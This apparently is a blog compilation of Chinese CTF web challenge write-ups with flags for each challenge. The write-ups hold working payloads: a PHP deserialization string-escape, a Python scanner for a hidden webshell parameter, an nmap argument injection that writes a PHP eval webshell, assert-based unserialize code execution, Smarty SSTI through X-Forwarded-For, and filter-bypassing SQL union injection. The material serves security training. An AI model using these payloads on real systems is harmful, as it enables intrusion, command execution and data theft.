[安洵杯 2019]easy_serialize_php <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST ); if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION )); if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
先看一下phpinfo()
吧,查找disable_function
时看到上面有个d0g3_f1ag.php
文件
然后直接构造来读取d0g3_f1ag.php
文件,这里还涉及到一个字符串逃逸的问题,本地代码如下来进行调试
<?php function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } $_SESSION ["user" ]='guestflagflagflagflagflagflag' ;$_SESSION ["function" ]='a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}' ;$_SESSION ["img" ]='ZDBnM19mMWFnLnBocA==' ;$a =serialize ($_SESSION );echo $a ;echo "\n" ;$b =filter ($a );echo $b ;echo "\n" ;
GET:f=show_image POST:_SESSION[user]=guestflagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&_SESSION[img]=ZDBnM19mMWFnLnBocA==
注意这里数组里面的键名和键值都不能加引号,因为双引号不是合法变量名,否则就要报错,并且不需要$
是因为键名 _SESSION[user]
会生成变量 $_SESSION_user
。传参完可以看到在/d0g3_fllllllag
,base完后为L2QwZzNfZmxsbGxsbGFn
这里偷个懒,base64后仍为20个字符,和之前相同,所以直接替换即可
GET:f=show_image POST:_SESSION[user]=guestflagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}&_SESSION[img]=ZDBnM19mMWFnLnBocA==
flag{7bf109d4-a4a2-4b28-bcbe-29bec8213f59}
1[强网杯 2019]高明的黑客 先按照题目访问www.tar.gz
下载源码,发现源码中除了一个index.html
文件,其他都是php文件,一共3002个
这个数量的文件就不是瞪眼法看得出来的了,看了下文章,发现可以用python脚本提取文件中参数传参后判断是否有回显,从而找到有效文件,随便举一个文件中的为例_1lmu9tCVjs.php
关键在这个条件,这种一看就是个假条件,所以不能成立,这个文件就无效
if ('V8dfwnVA5' == 'n3Ofh5nSW' )system ($_POST ['V8dfwnVA5' ] ?? ' ' );
python脚本如下
import osimport requestsimport reimport threadingimport timeprint ('开始时间: ' + time.asctime( time.localtime(time.time()) ))s1=threading.Semaphore(100 ) filePath = r"C:\Users\25050\Downloads\www\src" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content (file ): s1.acquire() print ('trying ' +file+ ' ' + time.asctime( time.localtime(time.time()) )) with open (file,encoding='utf-8' ) as f: gets = list (re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list (re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://4aaffde8-89d4-4096-a7da-217cb3506772.node5.buuoj.cn:81/' +file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print ('找到了利用文件: ' +file+" and 找到了利用的参数:%s" %param) print ('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
找到的有效文件为xk0SzyKwfzw.php
,参数为Efa5BVG
,具体代码如下
<?php $XnEGfa = $_GET ['Efa5BVG' ] ?? ' ' ;$aYunX = "sY" ;$aYunX .= "stEmXnsTcx" ; $aYunX = explode ('Xn' , $aYunX ); $kDxfM = new stdClass (); $kDxfM ->gHht = $aYunX [0 ]; ($kDxfM ->gHht)($XnEGfa );
flag{b514582c-a79f-46fc-83db-35f0f5f8e8a4}
[网鼎杯 2020 朱雀组]Nmap 参考[BUUCTF 2018]Online Tool,测试后发现分号会报错,|会被转义,那就直接写文件就行
host=127.0.0.1;' <?php eval($_POST[123])?> -oG 1.php '
回显hacker
,尝试更改后缀名和绕过php
host=127.0.0.1;' <?= eval($_POST[123])?> -oG 1.phtml '
这样就说明写入了,直接蚁剑连接根目录找到flag
flag{55eb57ba-ad79-409c-919b-34423ff2fa2e}
[NPUCTF2020]ReadlezPHP 源码发现路由/time.php?source
<?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp ;if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); die (0 ); } @$ppp = unserialize ($_GET ["data" ]);
主要就是通过echo $b($a);
,尝试几个常见命令执行的发现不能成功执行,换成assert
成功执行(system
,passthru
等都在disable_function
中)
GET:data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
flag{fcfdc91d-8b9b-43d8-a1ab-757dee290106}
[ASIS 2019]Unicorn shop 这个算是涨姿势了,只能输入一个字符,在购买界面购买时会报错,去Unicode - Compart 找一个千以上的Unicode编码输入就行
这里我选的是፼
,直接输入就行
flag{71db2b33-7f4d-4854-878f-f78f4f2bd136}
[CISCN2019 华东南赛区]Web11 一个通过XFF来进行的Smarty SSTI
参考[BJDCTF2020]The mystery of ip,直接if标签执行命令
X-Forwarded-For:{if system("tac /f*")}{/if}
flag{88c02dd3-dfea-4ce5-bf73-2a5bdf7090cb}
[BSidesCF 2019]Kookie 先按照给的账号登录,成功登录但是似乎没有什么用,看到题目一直在提示cookie就在cookie中加上登录,就有了?奇奇怪怪
flag{8fd69797-4ed8-46f6-8c70-adcca03829ea}
[SWPU2019]Web1 先随便注册登录,进去看到发布广告还以为是ssti,尝试后发现没找到管理员界面,仔细看看发现广告详情页面有参数
这里尝试在广告名中插入sql语句,因为内容大概是根据名字从数据库中找出来的
可以看到那这里存在二次注入了,先fuzz一波发现过滤or
,#
,--+
和空格,尝试注入(注意最后要加一个,'1
来闭合语句最后的单引号),这里的
1'/**/group/**/by/**/22,'100
分别是
这里接下来就可以使用union
注入
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
找到回显位为2和3
-1'/**/union/**/select/**/1,(select/**/database()),(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 //web1 ads,users 想用handler打的,结果发现handler也被过滤了,老老实实无列名 -1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
flag{b24ca00d-97c6-4085-96d0-056143d63113}